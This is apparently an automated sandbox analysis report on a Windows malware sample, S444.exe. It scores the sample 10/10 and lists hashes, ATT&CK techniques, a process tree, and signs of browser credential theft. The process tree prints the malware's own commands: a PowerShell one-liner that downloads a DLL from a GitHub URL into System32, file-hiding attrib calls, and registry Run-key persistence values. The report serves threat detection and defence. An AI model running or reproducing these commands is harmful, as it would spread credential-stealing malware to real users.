e73c96538ec60c2117b6ed82b7f95f8894abed022ee9ab03c1be90ebd9722f06

Analysis

max time kernel
143s
max time network
135s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
09-12-2024 23:08

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General

Target

S444.exe
Size

33KB
MD5

17e158e0f91dcc8168f2e416035926ed
SHA1

aac8bf1174db86568aab282b8a8de953c372ef1e
SHA256

bb0ef384a2d6f8fff82eecd15908bd39146ffa65810c2c56934c32c88abac94b
SHA512

383df3fa4eaecbfc6698961d3a8f5fe726db3e0cddf83f357bc9f2947328a284f4fe5b13f2eb866ea9c50eafbb5fc45b788b8401edffcbfc5bf068f545dd167c
SSDEEP

768:WdQHdYES3hnpwEC/uc/zBaP09K737hNWhlLF:W7x8zgs9W37hMPJ

Score

10^/10

discovery evasion execution persistence spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/NGROKC/CTC/raw/main/CTC64.dll

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1576	powershell.exe
6	1576	powershell.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1684	attrib.exe
2752	attrib.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-System32.exe	$77-System32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-System32.exe	$77-System32.exe

Executes dropped EXE 1 IoCs

pid	Process
2832	$77-System32.exe

Loads dropped DLL 1 IoCs

pid	Process
2196	S444.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\$77-System32 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\$77-System32.exe"	$77-System32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\$77-System32 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\$77-System32.exe"	$77-System32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1576	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77-System32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	S444.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2832	$77-System32.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1576	powershell.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

description	pid	Process
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	2832	$77-System32.exe
Token: 33	2832	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2832	$77-System32.exe
Token: 33	2832	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2832	$77-System32.exe
Token: 33	2832	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2832	$77-System32.exe
Token: 33	2832	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2832	$77-System32.exe
Token: 33	2832	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2832	$77-System32.exe
Token: 33	2832	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2832	$77-System32.exe
Token: 33	2832	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2832	$77-System32.exe
Token: 33	2832	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2832	$77-System32.exe
Token: 33	2832	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2832	$77-System32.exe
Token: 33	2832	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2832	$77-System32.exe
Token: 33	2832	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2832	$77-System32.exe
Token: 33	2832	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2832	$77-System32.exe
Token: 33	2832	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2832	$77-System32.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 2880	2196	S444.exe	31
PID 2196 wrote to memory of 2880	2196	S444.exe	31
PID 2196 wrote to memory of 2880	2196	S444.exe	31
PID 2196 wrote to memory of 2880	2196	S444.exe	31
PID 2880 wrote to memory of 2752	2880	cmd.exe	33
PID 2880 wrote to memory of 2752	2880	cmd.exe	33
PID 2880 wrote to memory of 2752	2880	cmd.exe	33
PID 2880 wrote to memory of 2752	2880	cmd.exe	33
PID 2196 wrote to memory of 2832	2196	S444.exe	34
PID 2196 wrote to memory of 2832	2196	S444.exe	34
PID 2196 wrote to memory of 2832	2196	S444.exe	34
PID 2196 wrote to memory of 2832	2196	S444.exe	34
PID 2832 wrote to memory of 1948	2832	$77-System32.exe	35
PID 2832 wrote to memory of 1948	2832	$77-System32.exe	35
PID 2832 wrote to memory of 1948	2832	$77-System32.exe	35
PID 2832 wrote to memory of 1948	2832	$77-System32.exe	35
PID 1948 wrote to memory of 1684	1948	cmd.exe	37
PID 1948 wrote to memory of 1684	1948	cmd.exe	37
PID 1948 wrote to memory of 1684	1948	cmd.exe	37
PID 1948 wrote to memory of 1684	1948	cmd.exe	37
PID 2832 wrote to memory of 1140	2832	$77-System32.exe	38
PID 2832 wrote to memory of 1140	2832	$77-System32.exe	38
PID 2832 wrote to memory of 1140	2832	$77-System32.exe	38
PID 2832 wrote to memory of 1140	2832	$77-System32.exe	38
PID 1140 wrote to memory of 1576	1140	cmd.exe	40
PID 1140 wrote to memory of 1576	1140	cmd.exe	40
PID 1140 wrote to memory of 1576	1140	cmd.exe	40
PID 1140 wrote to memory of 1576	1140	cmd.exe	40

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2752	attrib.exe
1684	attrib.exe

C:\Users\Admin\AppData\Local\Temp\S444.exe
"C:\Users\Admin\AppData\Local\Temp\S444.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\S444.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\S444.exe"
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2752
- C:\System32\$77-System32.exe
  "C:\System32\$77-System32.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +h +r "C:\System32\$77-System32.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1948
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r "C:\System32\$77-System32.exe"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1684
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\Rot.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1140
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','\System32\r77-x64.dll');exit
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Rot.bat

Filesize
229B

MD5
5623353a38611880912397750358a0cf

SHA1
1abfda3058cae5b11da3e6551fbec2eb354a25d3

SHA256
4b97706d98357279a5f3f1c720f384a47d020a1fbb6aac5460e1d87786aba86c

SHA512
78b78820ce33341f40f71924087d255b6ec74472bb22562a2bfadf5f090662c691d5a293f5f8148477f414cf7f38c53c490b595489d79966d944dfe73097f0fb

Download Submit
\System32\$77-System32.exe

Filesize
33KB

MD5
17e158e0f91dcc8168f2e416035926ed

SHA1
aac8bf1174db86568aab282b8a8de953c372ef1e

SHA256
bb0ef384a2d6f8fff82eecd15908bd39146ffa65810c2c56934c32c88abac94b

SHA512
383df3fa4eaecbfc6698961d3a8f5fe726db3e0cddf83f357bc9f2947328a284f4fe5b13f2eb866ea9c50eafbb5fc45b788b8401edffcbfc5bf068f545dd167c

Download Submit
memory/2196-0-0x0000000073E6E000-0x0000000073E6F000-memory.dmp

Filesize
4KB

Download
memory/2196-1-0x0000000000250000-0x000000000025E000-memory.dmp

Filesize
56KB

Download
memory/2832-9-0x0000000000B00000-0x0000000000B0E000-memory.dmp

Filesize
56KB

Download
memory/2832-10-0x0000000073E60000-0x000000007454E000-memory.dmp

Filesize
6.9MB

Download
memory/2832-13-0x0000000073E60000-0x000000007454E000-memory.dmp

Filesize
6.9MB

Download
memory/2832-24-0x0000000073E60000-0x000000007454E000-memory.dmp

Filesize
6.9MB

Download
memory/2832-25-0x0000000002050000-0x000000000205E000-memory.dmp

Filesize
56KB

Download
memory/2832-26-0x0000000002070000-0x000000000207A000-memory.dmp

Filesize
40KB

Download
memory/2832-29-0x00000000064E0000-0x0000000006578000-memory.dmp

Filesize
608KB

Download
memory/2832-30-0x0000000006580000-0x0000000006614000-memory.dmp

Filesize
592KB

Download